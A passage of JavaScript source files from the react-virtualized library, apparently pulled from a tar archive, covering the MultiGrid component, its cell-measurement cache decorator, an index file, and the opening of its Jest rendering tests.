      var onScroll = _this.props.onScroll;

      if (onScroll) {
        onScroll(scrollInfo);
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_onScrollbarPresenceChange", function (_ref5) {
      var horizontal = _ref5.horizontal,
          size = _ref5.size,
          vertical = _ref5.vertical;
      var _this$state2 = _this.state,
          showHorizontalScrollbar = _this$state2.showHorizontalScrollbar,
          showVerticalScrollbar = _this$state2.showVerticalScrollbar;

      if (horizontal !== showHorizontalScrollbar || vertical !== showVerticalScrollbar) {
        _this.setState({
          scrollbarSize: size,
          showHorizontalScrollbar: horizontal,
          showVerticalScrollbar: vertical
        });

        var onScrollbarPresenceChange = _this.props.onScrollbarPresenceChange;

        if (typeof onScrollbarPresenceChange === 'function') {
          onScrollbarPresenceChange({
            horizontal: horizontal,
            size: size,
            vertical: vertical
          });
        }
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_onScrollLeft", function (scrollInfo) {
      var scrollLeft = scrollInfo.scrollLeft;

      _this._onScroll({
        scrollLeft: scrollLeft,
        scrollTop: _this.state.scrollTop
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_onScrollTop", function (scrollInfo) {
      var scrollTop = scrollInfo.scrollTop;

      _this._onScroll({
        scrollTop: scrollTop,
        scrollLeft: _this.state.scrollLeft
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_rowHeightBottomGrid", function (_ref6) {
      var index = _ref6.index;
      var _this$props5 = _this.props,
          fixedRowCount = _this$props5.fixedRowCount,
          rowCount = _this$props5.rowCount,
          rowHeight = _this$props5.rowHeight;
      var _this$state3 = _this.state,
          scrollbarSize = _this$state3.scrollbarSize,
          showVerticalScrollbar = _this$state3.showVerticalScrollbar; // An extra cell is added to the count
      // This gives the smaller Grid extra room for offset,
      // In case the main (bottom right) Grid has a scrollbar
      // If no scrollbar, the extra space is overflow:hidden anyway

      if (showVerticalScrollbar && index === rowCount - fixedRowCount) {
        return scrollbarSize;
      }

      return typeof rowHeight === 'function' ? rowHeight({
        index: index + fixedRowCount
      }) : rowHeight;
    });

    _defineProperty(_assertThisInitialized(_this), "_topLeftGridRef", function (ref) {
      _this._topLeftGrid = ref;
    });

    _defineProperty(_assertThisInitialized(_this), "_topRightGridRef", function (ref) {
      _this._topRightGrid = ref;
    });

    var deferredMeasurementCache = props.deferredMeasurementCache,
        _fixedColumnCount = props.fixedColumnCount,
        _fixedRowCount = props.fixedRowCount;

    _this._maybeCalculateCachedStyles(true);

    if (deferredMeasurementCache) {
      _this._deferredMeasurementCacheBottomLeftGrid = _fixedRowCount > 0 ? new CellMeasurerCacheDecorator({
        cellMeasurerCache: deferredMeasurementCache,
        columnIndexOffset: 0,
        rowIndexOffset: _fixedRowCount
      }) : deferredMeasurementCache;
      _this._deferredMeasurementCacheBottomRightGrid = _fixedColumnCount > 0 || _fixedRowCount > 0 ? new CellMeasurerCacheDecorator({
        cellMeasurerCache: deferredMeasurementCache,
        columnIndexOffset: _fixedColumnCount,
        rowIndexOffset: _fixedRowCount
      }) : deferredMeasurementCache;
      _this._deferredMeasurementCacheTopRightGrid = _fixedColumnCount > 0 ? new CellMeasurerCacheDecorator({
        cellMeasurerCache: deferredMeasurementCache,
        columnIndexOffset: _fixedColumnCount,
        rowIndexOffset: 0
      }) : deferredMeasurementCache;
    }

    return _this;
  }

  _createClass(MultiGrid, [{
    key: "forceUpdateGrids",
    value: function forceUpdateGrids() {
      this._bottomLeftGrid && this._bottomLeftGrid.forceUpdate();
      this._bottomRightGrid && this._bottomRightGrid.forceUpdate();
      this._topLeftGrid && this._topLeftGrid.forceUpdate();
      this._topRightGrid && this._topRightGrid.forceUpdate();
    }
    /** See Grid#invalidateCellSizeAfterRender */

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender() {
      var _ref7 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref7$columnIndex = _ref7.columnIndex,
          columnIndex = _ref7$columnIndex === void 0 ? 0 : _ref7$columnIndex,
          _ref7$rowIndex = _ref7.rowIndex,
          rowIndex = _ref7$rowIndex === void 0 ? 0 : _ref7$rowIndex;

      this._deferredInvalidateColumnIndex = typeof this._deferredInvalidateColumnIndex === 'number' ? Math.min(this._deferredInvalidateColumnIndex, columnIndex) : columnIndex;
      this._deferredInvalidateRowIndex = typeof this._deferredInvalidateRowIndex === 'number' ? Math.min(this._deferredInvalidateRowIndex, rowIndex) : rowIndex;
    }
    /** See Grid#measureAllCells */

  }, {
    key: "measureAllCells",
    value: function measureAllCells() {
      this._bottomLeftGrid && this._bottomLeftGrid.measureAllCells();
      this._bottomRightGrid && this._bottomRightGrid.measureAllCells();
      this._topLeftGrid && this._topLeftGrid.measureAllCells();
      this._topRightGrid && this._topRightGrid.measureAllCells();
    }
    /** See Grid#recomputeGridSize */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref8 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref8$columnIndex = _ref8.columnIndex,
          columnIndex = _ref8$columnIndex === void 0 ? 0 : _ref8$columnIndex,
          _ref8$rowIndex = _ref8.rowIndex,
          rowIndex = _ref8$rowIndex === void 0 ? 0 : _ref8$rowIndex;

      var _this$props6 = this.props,
          fixedColumnCount = _this$props6.fixedColumnCount,
          fixedRowCount = _this$props6.fixedRowCount;
      var adjustedColumnIndex = Math.max(0, columnIndex - fixedColumnCount);
      var adjustedRowIndex = Math.max(0, rowIndex - fixedRowCount);
      this._bottomLeftGrid && this._bottomLeftGrid.recomputeGridSize({
        columnIndex: columnIndex,
        rowIndex: adjustedRowIndex
      });
      this._bottomRightGrid && this._bottomRightGrid.recomputeGridSize({
        columnIndex: adjustedColumnIndex,
        rowIndex: adjustedRowIndex
      });
      this._topLeftGrid && this._topLeftGrid.recomputeGridSize({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      this._topRightGrid && this._topRightGrid.recomputeGridSize({
        columnIndex: adjustedColumnIndex,
        rowIndex: rowIndex
      });
      this._leftGridWidth = null;
      this._topGridHeight = null;

      this._maybeCalculateCachedStyles(true);
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var _this$props7 = this.props,
          scrollLeft = _this$props7.scrollLeft,
          scrollTop = _this$props7.scrollTop;

      if (scrollLeft > 0 || scrollTop > 0) {
        var newState = {};

        if (scrollLeft > 0) {
          newState.scrollLeft = scrollLeft;
        }

        if (scrollTop > 0) {
          newState.scrollTop = scrollTop;
        }

        this.setState(newState);
      }

      this._handleInvalidatedGridSize();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate() {
      this._handleInvalidatedGridSize();
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props8 = this.props,
          onScroll = _this$props8.onScroll,
          onSectionRendered = _this$props8.onSectionRendered,
          onScrollbarPresenceChange = _this$props8.onScrollbarPresenceChange,
          scrollLeftProp = _this$props8.scrollLeft,
          scrollToColumn = _this$props8.scrollToColumn,
          scrollTopProp = _this$props8.scrollTop,
          scrollToRow = _this$props8.scrollToRow,
          rest = _objectWithoutProperties(_this$props8, ["onScroll", "onSectionRendered", "onScrollbarPresenceChange", "scrollLeft", "scrollToColumn", "scrollTop", "scrollToRow"]);

      this._prepareForRender(); // Don't render any of our Grids if there are no cells.
      // This mirrors what Grid does,
      // And prevents us from recording inaccurage measurements when used with CellMeasurer.


      if (this.props.width === 0 || this.props.height === 0) {
        return null;
      } // scrollTop and scrollLeft props are explicitly filtered out and ignored


      var _this$state4 = this.state,
          scrollLeft = _this$state4.scrollLeft,
          scrollTop = _this$state4.scrollTop;
      return React.createElement("div", {
        style: this._containerOuterStyle
      }, React.createElement("div", {
        style: this._containerTopStyle
      }, this._renderTopLeftGrid(rest), this._renderTopRightGrid(_objectSpread({}, rest, {
        onScroll: onScroll,
        scrollLeft: scrollLeft
      }))), React.createElement("div", {
        style: this._containerBottomStyle
      }, this._renderBottomLeftGrid(_objectSpread({}, rest, {
        onScroll: onScroll,
        scrollTop: scrollTop
      })), this._renderBottomRightGrid(_objectSpread({}, rest, {
        onScroll: onScroll,
        onSectionRendered: onSectionRendered,
        scrollLeft: scrollLeft,
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow,
        scrollTop: scrollTop
      }))));
    }
  }, {
    key: "_getBottomGridHeight",
    value: function _getBottomGridHeight(props) {
      var height = props.height;

      var topGridHeight = this._getTopGridHeight(props);

      return height - topGridHeight;
    }
  }, {
    key: "_getLeftGridWidth",
    value: function _getLeftGridWidth(props) {
      var fixedColumnCount = props.fixedColumnCount,
          columnWidth = props.columnWidth;

      if (this._leftGridWidth == null) {
        if (typeof columnWidth === 'function') {
          var leftGridWidth = 0;

          for (var index = 0; index < fixedColumnCount; index++) {
            leftGridWidth += columnWidth({
              index: index
            });
          }

          this._leftGridWidth = leftGridWidth;
        } else {
          this._leftGridWidth = columnWidth * fixedColumnCount;
        }
      }

      return this._leftGridWidth;
    }
  }, {
    key: "_getRightGridWidth",
    value: function _getRightGridWidth(props) {
      var width = props.width;

      var leftGridWidth = this._getLeftGridWidth(props);

      return width - leftGridWidth;
    }
  }, {
    key: "_getTopGridHeight",
    value: function _getTopGridHeight(props) {
      var fixedRowCount = props.fixedRowCount,
          rowHeight = props.rowHeight;

      if (this._topGridHeight == null) {
        if (typeof rowHeight === 'function') {
          var topGridHeight = 0;

          for (var index = 0; index < fixedRowCount; index++) {
            topGridHeight += rowHeight({
              index: index
            });
          }

          this._topGridHeight = topGridHeight;
        } else {
          this._topGridHeight = rowHeight * fixedRowCount;
        }
      }

      return this._topGridHeight;
    }
  }, {
    key: "_handleInvalidatedGridSize",
    value: function _handleInvalidatedGridSize() {
      if (typeof this._deferredInvalidateColumnIndex === 'number') {
        var columnIndex = this._deferredInvalidateColumnIndex;
        var rowIndex = this._deferredInvalidateRowIndex;
        this._deferredInvalidateColumnIndex = null;
        this._deferredInvalidateRowIndex = null;
        this.recomputeGridSize({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        this.forceUpdate();
      }
    }
    /**
     * Avoid recreating inline styles each render; this bypasses Grid's shallowCompare.
     * This method recalculates styles only when specific props change.
     */

  }, {
    key: "_maybeCalculateCachedStyles",
    value: function _maybeCalculateCachedStyles(resetAll) {
      var _this$props9 = this.props,
          columnWidth = _this$props9.columnWidth,
          enableFixedColumnScroll = _this$props9.enableFixedColumnScroll,
          enableFixedRowScroll = _this$props9.enableFixedRowScroll,
          height = _this$props9.height,
          fixedColumnCount = _this$props9.fixedColumnCount,
          fixedRowCount = _this$props9.fixedRowCount,
          rowHeight = _this$props9.rowHeight,
          style = _this$props9.style,
          styleBottomLeftGrid = _this$props9.styleBottomLeftGrid,
          styleBottomRightGrid = _this$props9.styleBottomRightGrid,
          styleTopLeftGrid = _this$props9.styleTopLeftGrid,
          styleTopRightGrid = _this$props9.styleTopRightGrid,
          width = _this$props9.width;
      var sizeChange = resetAll || height !== this._lastRenderedHeight || width !== this._lastRenderedWidth;
      var leftSizeChange = resetAll || columnWidth !== this._lastRenderedColumnWidth || fixedColumnCount !== this._lastRenderedFixedColumnCount;
      var topSizeChange = resetAll || fixedRowCount !== this._lastRenderedFixedRowCount || rowHeight !== this._lastRenderedRowHeight;

      if (resetAll || sizeChange || style !== this._lastRenderedStyle) {
        this._containerOuterStyle = _objectSpread({
          height: height,
          overflow: 'visible',
          // Let :focus outline show through
          width: width
        }, style);
      }

      if (resetAll || sizeChange || topSizeChange) {
        this._containerTopStyle = {
          height: this._getTopGridHeight(this.props),
          position: 'relative',
          width: width
        };
        this._containerBottomStyle = {
          height: height - this._getTopGridHeight(this.props),
          overflow: 'visible',
          // Let :focus outline show through
          position: 'relative',
          width: width
        };
      }

      if (resetAll || styleBottomLeftGrid !== this._lastRenderedStyleBottomLeftGrid) {
        this._bottomLeftGridStyle = _objectSpread({
          left: 0,
          overflowX: 'hidden',
          overflowY: enableFixedColumnScroll ? 'auto' : 'hidden',
          position: 'absolute'
        }, styleBottomLeftGrid);
      }

      if (resetAll || leftSizeChange || styleBottomRightGrid !== this._lastRenderedStyleBottomRightGrid) {
        this._bottomRightGridStyle = _objectSpread({
          left: this._getLeftGridWidth(this.props),
          position: 'absolute'
        }, styleBottomRightGrid);
      }

      if (resetAll || styleTopLeftGrid !== this._lastRenderedStyleTopLeftGrid) {
        this._topLeftGridStyle = _objectSpread({
          left: 0,
          overflowX: 'hidden',
          overflowY: 'hidden',
          position: 'absolute',
          top: 0
        }, styleTopLeftGrid);
      }

      if (resetAll || leftSizeChange || styleTopRightGrid !== this._lastRenderedStyleTopRightGrid) {
        this._topRightGridStyle = _objectSpread({
          left: this._getLeftGridWidth(this.props),
          overflowX: enableFixedRowScroll ? 'auto' : 'hidden',
          overflowY: 'hidden',
          position: 'absolute',
          top: 0
        }, styleTopRightGrid);
      }

      this._lastRenderedColumnWidth = columnWidth;
      this._lastRenderedFixedColumnCount = fixedColumnCount;
      this._lastRenderedFixedRowCount = fixedRowCount;
      this._lastRenderedHeight = height;
      this._lastRenderedRowHeight = rowHeight;
      this._lastRenderedStyle = style;
      this._lastRenderedStyleBottomLeftGrid = styleBottomLeftGrid;
      this._lastRenderedStyleBottomRightGrid = styleBottomRightGrid;
      this._lastRenderedStyleTopLeftGrid = styleTopLeftGrid;
      this._lastRenderedStyleTopRightGrid = styleTopRightGrid;
      this._lastRenderedWidth = width;
    }
  }, {
    key: "_prepareForRender",
    value: function _prepareForRender() {
      if (this._lastRenderedColumnWidth !== this.props.columnWidth || this._lastRenderedFixedColumnCount !== this.props.fixedColumnCount) {
        this._leftGridWidth = null;
      }

      if (this._lastRenderedFixedRowCount !== this.props.fixedRowCount || this._lastRenderedRowHeight !== this.props.rowHeight) {
        this._topGridHeight = null;
      }

      this._maybeCalculateCachedStyles();

      this._lastRenderedColumnWidth = this.props.columnWidth;
      this._lastRenderedFixedColumnCount = this.props.fixedColumnCount;
      this._lastRenderedFixedRowCount = this.props.fixedRowCount;
      this._lastRenderedRowHeight = this.props.rowHeight;
    }
  }, {
    key: "_renderBottomLeftGrid",
    value: function _renderBottomLeftGrid(props) {
      var enableFixedColumnScroll = props.enableFixedColumnScroll,
          fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount,
          rowCount = props.rowCount,
          hideBottomLeftGridScrollbar = props.hideBottomLeftGridScrollbar;
      var showVerticalScrollbar = this.state.showVerticalScrollbar;

      if (!fixedColumnCount) {
        return null;
      }

      var additionalRowCount = showVerticalScrollbar ? 1 : 0,
          height = this._getBottomGridHeight(props),
          width = this._getLeftGridWidth(props),
          scrollbarSize = this.state.showVerticalScrollbar ? this.state.scrollbarSize : 0,
          gridWidth = hideBottomLeftGridScrollbar ? width + scrollbarSize : width;

      var bottomLeftGrid = React.createElement(Grid, _extends({}, props, {
        cellRenderer: this._cellRendererBottomLeftGrid,
        className: this.props.classNameBottomLeftGrid,
        columnCount: fixedColumnCount,
        deferredMeasurementCache: this._deferredMeasurementCacheBottomLeftGrid,
        height: height,
        onScroll: enableFixedColumnScroll ? this._onScrollTop : undefined,
        ref: this._bottomLeftGridRef,
        rowCount: Math.max(0, rowCount - fixedRowCount) + additionalRowCount,
        rowHeight: this._rowHeightBottomGrid,
        style: this._bottomLeftGridStyle,
        tabIndex: null,
        width: gridWidth
      }));

      if (hideBottomLeftGridScrollbar) {
        return React.createElement("div", {
          className: "BottomLeftGrid_ScrollWrapper",
          style: _objectSpread({}, this._bottomLeftGridStyle, {
            height: height,
            width: width,
            overflowY: 'hidden'
          })
        }, bottomLeftGrid);
      }

      return bottomLeftGrid;
    }
  }, {
    key: "_renderBottomRightGrid",
    value: function _renderBottomRightGrid(props) {
      var columnCount = props.columnCount,
          fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount,
          rowCount = props.rowCount,
          scrollToColumn = props.scrollToColumn,
          scrollToRow = props.scrollToRow;
      return React.createElement(Grid, _extends({}, props, {
        cellRenderer: this._cellRendererBottomRightGrid,
        className: this.props.classNameBottomRightGrid,
        columnCount: Math.max(0, columnCount - fixedColumnCount),
        columnWidth: this._columnWidthRightGrid,
        deferredMeasurementCache: this._deferredMeasurementCacheBottomRightGrid,
        height: this._getBottomGridHeight(props),
        onScroll: this._onScroll,
        onScrollbarPresenceChange: this._onScrollbarPresenceChange,
        ref: this._bottomRightGridRef,
        rowCount: Math.max(0, rowCount - fixedRowCount),
        rowHeight: this._rowHeightBottomGrid,
        scrollToColumn: scrollToColumn - fixedColumnCount,
        scrollToRow: scrollToRow - fixedRowCount,
        style: this._bottomRightGridStyle,
        width: this._getRightGridWidth(props)
      }));
    }
  }, {
    key: "_renderTopLeftGrid",
    value: function _renderTopLeftGrid(props) {
      var fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount;

      if (!fixedColumnCount || !fixedRowCount) {
        return null;
      }

      return React.createElement(Grid, _extends({}, props, {
        className: this.props.classNameTopLeftGrid,
        columnCount: fixedColumnCount,
        height: this._getTopGridHeight(props),
        ref: this._topLeftGridRef,
        rowCount: fixedRowCount,
        style: this._topLeftGridStyle,
        tabIndex: null,
        width: this._getLeftGridWidth(props)
      }));
    }
  }, {
    key: "_renderTopRightGrid",
    value: function _renderTopRightGrid(props) {
      var columnCount = props.columnCount,
          enableFixedRowScroll = props.enableFixedRowScroll,
          fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount,
          scrollLeft = props.scrollLeft,
          hideTopRightGridScrollbar = props.hideTopRightGridScrollbar;
      var _this$state5 = this.state,
          showHorizontalScrollbar = _this$state5.showHorizontalScrollbar,
          scrollbarSize = _this$state5.scrollbarSize;

      if (!fixedRowCount) {
        return null;
      }

      var additionalColumnCount = showHorizontalScrollbar ? 1 : 0,
          height = this._getTopGridHeight(props),
          width = this._getRightGridWidth(props),
          additionalHeight = showHorizontalScrollbar ? scrollbarSize : 0;

      var gridHeight = height,
          style = this._topRightGridStyle;

      if (hideTopRightGridScrollbar) {
        gridHeight = height + additionalHeight;
        style = _objectSpread({}, this._topRightGridStyle, {
          left: 0
        });
      }

      var topRightGrid = React.createElement(Grid, _extends({}, props, {
        cellRenderer: this._cellRendererTopRightGrid,
        className: this.props.classNameTopRightGrid,
        columnCount: Math.max(0, columnCount - fixedColumnCount) + additionalColumnCount,
        columnWidth: this._columnWidthRightGrid,
        deferredMeasurementCache: this._deferredMeasurementCacheTopRightGrid,
        height: gridHeight,
        onScroll: enableFixedRowScroll ? this._onScrollLeft : undefined,
        ref: this._topRightGridRef,
        rowCount: fixedRowCount,
        scrollLeft: scrollLeft,
        style: style,
        tabIndex: null,
        width: width
      }));

      if (hideTopRightGridScrollbar) {
        return React.createElement("div", {
          className: "TopRightGrid_ScrollWrapper",
          style: _objectSpread({}, this._topRightGridStyle, {
            height: height,
            width: width,
            overflowX: 'hidden'
          })
        }, topRightGrid);
      }

      return topRightGrid;
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.scrollLeft !== prevState.scrollLeft || nextProps.scrollTop !== prevState.scrollTop) {
        return {
          scrollLeft: nextProps.scrollLeft != null && nextProps.scrollLeft >= 0 ? nextProps.scrollLeft : prevState.scrollLeft,
          scrollTop: nextProps.scrollTop != null && nextProps.scrollTop >= 0 ? nextProps.scrollTop : prevState.scrollTop
        };
      }

      return null;
    }
  }]);

  return MultiGrid;
}(React.PureComponent);

_defineProperty(MultiGrid, "defaultProps", {
  classNameBottomLeftGrid: '',
  classNameBottomRightGrid: '',
  classNameTopLeftGrid: '',
  classNameTopRightGrid: '',
  enableFixedColumnScroll: false,
  enableFixedRowScroll: false,
  fixedColumnCount: 0,
  fixedRowCount: 0,
  scrollToColumn: -1,
  scrollToRow: -1,
  style: {},
  styleBottomLeftGrid: {},
  styleBottomRightGrid: {},
  styleTopLeftGrid: {},
  styleTopRightGrid: {},
  hideTopRightGridScrollbar: false,
  hideBottomLeftGridScrollbar: false
});

MultiGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  classNameBottomLeftGrid: PropTypes.string.isRequired,
  classNameBottomRightGrid: PropTypes.string.isRequired,
  classNameTopLeftGrid: PropTypes.string.isRequired,
  classNameTopRightGrid: PropTypes.string.isRequired,
  enableFixedColumnScroll: PropTypes.bool.isRequired,
  enableFixedRowScroll: PropTypes.bool.isRequired,
  fixedColumnCount: PropTypes.number.isRequired,
  fixedRowCount: PropTypes.number.isRequired,
  onScrollbarPresenceChange: PropTypes.func,
  style: PropTypes.object.isRequired,
  styleBottomLeftGrid: PropTypes.object.isRequired,
  styleBottomRightGrid: PropTypes.object.isRequired,
  styleTopLeftGrid: PropTypes.object.isRequired,
  styleTopRightGrid: PropTypes.object.isRequired,
  hideTopRightGridScrollbar: PropTypes.bool,
  hideBottomLeftGridScrollbar: PropTypes.bool
} : {};
polyfill(MultiGrid);
export default MultiGrid;es/MultiGrid/CellMeasurerCacheDecorator.js000064400000007072151677406000014577 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import { CellMeasurerCache } from '../CellMeasurer';

/**
 * Caches measurements for a given cell.
 */
var CellMeasurerCacheDecorator =
/*#__PURE__*/
function () {
  function CellMeasurerCacheDecorator() {
    var _this = this;

    var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};

    _classCallCheck(this, CellMeasurerCacheDecorator);

    _defineProperty(this, "_cellMeasurerCache", void 0);

    _defineProperty(this, "_columnIndexOffset", void 0);

    _defineProperty(this, "_rowIndexOffset", void 0);

    _defineProperty(this, "columnWidth", function (_ref) {
      var index = _ref.index;

      _this._cellMeasurerCache.columnWidth({
        index: index + _this._columnIndexOffset
      });
    });

    _defineProperty(this, "rowHeight", function (_ref2) {
      var index = _ref2.index;

      _this._cellMeasurerCache.rowHeight({
        index: index + _this._rowIndexOffset
      });
    });

    var cellMeasurerCache = params.cellMeasurerCache,
        _params$columnIndexOf = params.columnIndexOffset,
        columnIndexOffset = _params$columnIndexOf === void 0 ? 0 : _params$columnIndexOf,
        _params$rowIndexOffse = params.rowIndexOffset,
        rowIndexOffset = _params$rowIndexOffse === void 0 ? 0 : _params$rowIndexOffse;
    this._cellMeasurerCache = cellMeasurerCache;
    this._columnIndexOffset = columnIndexOffset;
    this._rowIndexOffset = rowIndexOffset;
  }

  _createClass(CellMeasurerCacheDecorator, [{
    key: "clear",
    value: function clear(rowIndex, columnIndex) {
      this._cellMeasurerCache.clear(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "clearAll",
    value: function clearAll() {
      this._cellMeasurerCache.clearAll();
    }
  }, {
    key: "hasFixedHeight",
    value: function hasFixedHeight() {
      return this._cellMeasurerCache.hasFixedHeight();
    }
  }, {
    key: "hasFixedWidth",
    value: function hasFixedWidth() {
      return this._cellMeasurerCache.hasFixedWidth();
    }
  }, {
    key: "getHeight",
    value: function getHeight(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
      return this._cellMeasurerCache.getHeight(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "getWidth",
    value: function getWidth(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
      return this._cellMeasurerCache.getWidth(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "has",
    value: function has(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
      return this._cellMeasurerCache.has(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "set",
    value: function set(rowIndex, columnIndex, width, height) {
      this._cellMeasurerCache.set(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset, width, height);
    }
  }, {
    key: "defaultHeight",
    get: function get() {
      return this._cellMeasurerCache.defaultHeight;
    }
  }, {
    key: "defaultWidth",
    get: function get() {
      return this._cellMeasurerCache.defaultWidth;
    }
  }]);

  return CellMeasurerCacheDecorator;
}();

export { CellMeasurerCacheDecorator as default };es/MultiGrid/index.js000064400000000124151677406000010523 0ustar00import MultiGrid from './MultiGrid';
export default MultiGrid;
export { MultiGrid };es/MultiGrid/MultiGrid.jest.js000064400000057403151677406000012274 0ustar00import _slicedToArray from "@babel/runtime/helpers/slicedToArray";
import _extends from "@babel/runtime/helpers/extends";
import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import MultiGrid from './MultiGrid';
import { CellMeasurerCache } from '../CellMeasurer'; // These tests only focus on what MultiGrid does specifically.
// The inner Grid component is tested in depth elsewhere.

describe('MultiGrid', function () {
  function defaultCellRenderer(_ref) {
    var columnIndex = _ref.columnIndex,
        key = _ref.key,
        rowIndex = _ref.rowIndex,
        style = _ref.style;
    return React.createElement("div", {
      className: "gridItem",
      key: key,
      style: style
    }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    return React.createElement(MultiGrid, _extends({
      cellRenderer: defaultCellRenderer,
      columnCount: 50,
      columnWidth: 50,
      fixedColumnCount: 2,
      fixedRowCount: 1,
      height: 300,
      overscanColumnCount: 0,
      overscanRowCount: 0,
      autoHeight: false,
      rowHeight: 20,
      rowCount: 100,
      width: 400
    }, props));
  }

  describe('fixed columns and rows', function () {
    it('should render 4 Grids when configured for fixed columns and rows', function () {
      var rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 1,
        fixedRowCount: 1
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids = _slicedToArray(grids, 4),
          topLeft = _grids[0],
          topRight = _grids[1],
          bottomLeft = _grids[2],
          bottomRight = _grids[3];

      expect(topLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should render 2 Grids when configured for fixed columns only', function () {
      var rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 1,
        fixedRowCount: 0
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(2);

      var _grids2 = _slicedToArray(grids, 2),
          bottomLeft = _grids2[0],
          bottomRight = _grids2[1];

      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should render 2 Grids when configured for fixed rows only', function () {
      var rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 1
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(2);

      var _grids3 = _slicedToArray(grids, 2),
          topRight = _grids3[0],
          bottomRight = _grids3[1];

      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should render 1 Grid when configured for neither fixed columns and rows', function () {
      var rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 0
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(1);

      var _grids4 = _slicedToArray(grids, 1),
          bottomRight = _grids4[0];

      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should adjust the number of Grids when fixed column or row counts change', function () {
      var rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 2,
        fixedRowCount: 1
      })));
      expect(rendered.querySelectorAll('.ReactVirtualized__Grid').length).toEqual(4);
      rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 0
      })));
      expect(rendered.querySelectorAll('.ReactVirtualized__Grid').length).toEqual(1);
      rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 2
      })));
      expect(rendered.querySelectorAll('.ReactVirtualized__Grid').length).toEqual(2);
    });
    it('should allow scrolling of fixed Grids when configured for fixed columns and rows with scroll interaction', function () {
      var rendered = findDOMNode(render(getMarkup({
        enableFixedColumnScroll: true,
        enableFixedRowScroll: true,
        fixedColumnCount: 1,
        fixedRowCount: 1
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids5 = _slicedToArray(grids, 4),
          topLeft = _grids5[0],
          topRight = _grids5[1],
          bottomLeft = _grids5[2],
          bottomRight = _grids5[3];

      expect(topLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
